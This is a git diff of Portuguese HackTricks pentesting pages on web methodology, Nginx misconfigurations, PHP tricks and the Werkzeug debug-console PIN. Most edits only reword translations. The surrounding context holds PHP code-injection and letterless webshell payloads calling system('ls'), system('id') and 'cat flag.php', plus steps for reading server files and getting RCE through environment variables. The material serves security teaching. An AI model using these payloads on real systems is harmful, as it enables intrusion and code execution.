|
||||
* **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
|
||||
* **Forçar Brute** credenciais
|
||||
* **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
|
||||
|
||||
### **Vulnerabilidades SSL/TLS**
|
||||
|
||||
|
@ -234,7 +234,7 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
|
|||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares inteligentes para encontrar e extrair as URLs relativas de arquivos feios (minificados).
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Encontrar arquivos JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem cabeça e imprimir todas as URLs carregadas para carregar a página.
|
||||
|
@ -319,7 +319,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
* **Desofuscação JsFuck** (javascript com caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Em várias ocasiões, você precisará **entender expressões regulares** usadas, isso será útil: [https://regex101.com/](https://regex101.com).
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -361,7 +361,7 @@ Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem que você escale privilégios e use exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -443,11 +443,11 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Supporte o HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Localização root ausente <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Ao configurar o servidor Nginx, a **diretiva root** desempenha um papel crítico ao definir o diretório base a partir do qual os arquivos são servidos. Considere o exemplo abaixo:
|
||||
```bash
|
||||
|
@ -114,7 +114,7 @@ Detectify: clrf
|
|||
```
|
||||
Saiba mais sobre os riscos da injeção CRLF e divisão de resposta em [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Além disso, essa técnica é [**explicada nesta palestra**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, para detectar essa má configuração a partir de uma perspectiva de caixa preta, você poderia usar essas requisições:
|
||||
Além disso, essa técnica é [**explicada nesta palestra**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, para detectar essa má configuração de uma perspectiva de caixa-preta, você poderia usar essas requisições:
|
||||
|
||||
* `https://example.com/%20X` - Qualquer código HTTP
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
@ -148,7 +148,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
Foi descoberto que **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** sob certas circunstâncias. A causa desse comportamento permanece um tanto elusiva, mas não é rara nem fácil de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada na mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), apontando para Server Side Includes (SSI) como a causa raiz.
|
||||
Foi descoberto que **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** sob certas circunstâncias. A causa desse comportamento permanece um tanto elusiva, mas não é rara nem fácil de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada na mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), apontando Server Side Includes (SSI) como a causa raiz.
|
||||
|
||||
Para **detectar essa má configuração**, o seguinte comando pode ser executado, que envolve definir um cabeçalho referer para testar a impressão de variáveis:
|
||||
```bash
|
||||
|
@ -181,9 +181,9 @@ Quando uma solicitação `GET` válida é feita, o Nginx a processa normalmente,
|
|||
|
||||
## merge\_slashes definido como off
|
||||
|
||||
Por padrão, a **diretiva `merge_slashes` do Nginx** é definida como **`on`**, o que comprime múltiplas barras (slashes) em uma URL em uma única barra. Este recurso, embora simplifique o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, particularmente aquelas suscetíveis a ataques de inclusão de arquivos locais (LFI). Especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um reverse-proxy.
|
||||
Por padrão, a **diretiva `merge_slashes` do Nginx** está definida como **`on`**, o que comprime múltiplas barras (slashes) em uma URL em uma única barra. Este recurso, embora simplifique o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, particularmente aquelas suscetíveis a ataques de inclusão de arquivos locais (LFI). Especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um reverse-proxy.
|
||||
|
||||
Para mitigar tais riscos, é recomendado **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes.
|
||||
Para mitigar tais riscos, é recomendável **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes.
|
||||
|
||||
Para mais informações, consulte [Danny Robinson e Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
|
@ -288,7 +288,7 @@ Nginxpwner é uma ferramenta simples para procurar configurações incorretas e
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -55,7 +55,7 @@ Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.ph
|
|||
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
|
||||
* `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0
|
||||
* `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
|
||||
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem qualquer letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
|
||||
|
||||
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -93,7 +93,7 @@ Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **compara
|
|||
|
||||
#### Bypass de nova linha
|
||||
|
||||
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, poderá contornar essa verificação. Exemplo:
|
||||
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -117,7 +117,7 @@ Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https:/
|
|||
#### **Bypass de erro de comprimento**
|
||||
|
||||
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)\
|
||||
Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
|
||||
Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **bypassar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -139,7 +139,7 @@ Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retroces
|
|||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Manipulação de Tipos para Ofuscação em PHP
|
||||
### Manipulação de Tipos para ofuscação de PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -173,8 +173,8 @@ Verifique:
|
|||
## Mais truques
|
||||
|
||||
* **register\_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se elas tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-las via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis** que são usadas dentro do código.
|
||||
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
|
||||
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
|
||||
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
|
||||
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
|
||||
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
|
||||
* [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
|
@ -193,9 +193,9 @@ True
|
|||
|
||||
#### Causando erro após definir cabeçalhos
|
||||
|
||||
A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que enviando mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
|
||||
A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
|
||||
|
||||
Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
|
||||
Permitindo contornar, por exemplo, cabeçalhos CSP que estão sendo definidos em códigos como:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -204,7 +204,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
#### Preenchendo um corpo antes de definir cabeçalhos
|
||||
|
||||
Se uma **página PHP está imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário**, o usuário pode fazer com que o servidor PHP imprima de volta algum **conteúdo longo o suficiente** para que, ao tentar **adicionar os cabeçalhos** na resposta, o servidor lance um erro.\
|
||||
No cenário a seguir, o **atacante fez o servidor lançar alguns grandes erros**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
|
||||
No cenário a seguir, o **atacante fez o servidor lançar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
|
@ -247,7 +247,7 @@ Esta função dentro do php permite que você **execute código que está escrit
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Você precisará **quebrar** a **sintaxe** do código, **adicionar** seu **payload** e então **corrigi-lo novamente**. Você pode usar **operações lógicas** como "**and" ou "%26%26" ou "|"**. Note que "or", "||" não funciona porque se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma, ";" não funciona, pois nosso payload não será executado.
|
||||
Você precisará **quebrar** a **sintaxe** do código, **adicionar** seu **payload** e então **corrigi-lo novamente**. Você pode usar **operações lógicas** como "**and" ou "%26%26" ou "|"**. Note que "or", "||" não funcionam porque se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma, ";" não funciona, pois nosso payload não será executado.
|
||||
|
||||
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
|
||||
|
||||
|
@ -292,7 +292,7 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire
|
|||
|
||||
### RCE via Variáveis de Ambiente
|
||||
|
||||
Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
||||
Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
||||
* **`PHPRC`** : Instruções ao PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
|
@ -343,7 +343,7 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Se você está depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciar o apache: `sudo systemctl restart apache2`
|
||||
Se você estiver depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciar o apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Deobfuscação de código PHP
|
||||
|
||||
|
@ -355,7 +355,7 @@ Wrappers e protocolos PHP podem permitir que você **bypasse proteções de escr
|
|||
|
||||
## RCE não autenticada do Xdebug
|
||||
|
||||
Se você ver que **Xdebug** está **habilitado** na saída de `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Se você ver que **Xdebug** está **habilitado** na saída de `phpconfig()`, deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Variáveis variáveis
|
||||
```php
|
||||
|
@ -377,7 +377,7 @@ Se em uma página você pode **criar um novo objeto de uma classe arbitrária**,
|
|||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Executar PHP sem letras
|
||||
## Execute PHP sem letras
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
|
@ -401,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Então, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte, abusando desse payload para executar PHP arbitrário:
|
||||
Então, se você pode **executar PHP arbitrário sem números e letras** você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -59,7 +59,7 @@ Para explorar o PIN do console, são necessárias duas conjuntos de variáveis,
|
|||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: Obtém o endereço MAC da máquina atual, com `str(uuid.getnode())` traduzindo-o para um formato decimal.
|
||||
* Para **determinar o endereço MAC do servidor**, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **leak `/proc/net/arp`** para encontrar o ID do dispositivo, então **extraia o endereço MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
* Para **determinar o endereço MAC do servidor**, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **leak `/proc/net/arp`** para encontrar o ID do dispositivo, em seguida, **extraia o endereço MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
* A conversão de um endereço MAC hexadecimal para decimal pode ser realizada como mostrado abaixo:
|
||||
|
||||
```python
|
||||
|
@ -167,7 +167,7 @@ Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritm
|
|||
|
||||
## Caracteres Unicode do Werkzeug
|
||||
|
||||
Como observado em [**este problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não fecha uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado em [**este relatório**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de CL.0 Request Smuggling.
|
||||
Como observado em [**este problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não fecha uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado em [**este artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de CL.0 Request Smuggling.
|
||||
|
||||
Isso ocorre porque, no Werkzeug, é possível enviar alguns **caracteres Unicode** e isso fará com que o servidor **quebre**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
||||
|
||||
|
@ -184,7 +184,7 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns **caracteres Unicode
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem que você eleve privilégios e use exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -44,7 +44,7 @@ Tente se registrar como um usuário já existente. Tente também usar caracteres
|
|||
|
||||
Registre um e-mail, antes de confirmá-lo, mude o e-mail, então, se o novo e-mail de confirmação for enviado para o primeiro e-mail registrado, você pode tomar conta de qualquer e-mail. Ou se você puder habilitar o segundo e-mail confirmando o primeiro, você também pode tomar conta de qualquer conta.
|
||||
|
||||
### Acessar o serviço interno de atendimento ao cliente de empresas usando Atlassian
|
||||
### Acessar o serviço de atendimento interno de empresas usando Atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
|
@ -57,9 +57,9 @@ Os desenvolvedores podem esquecer de desativar várias opções de depuração n
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
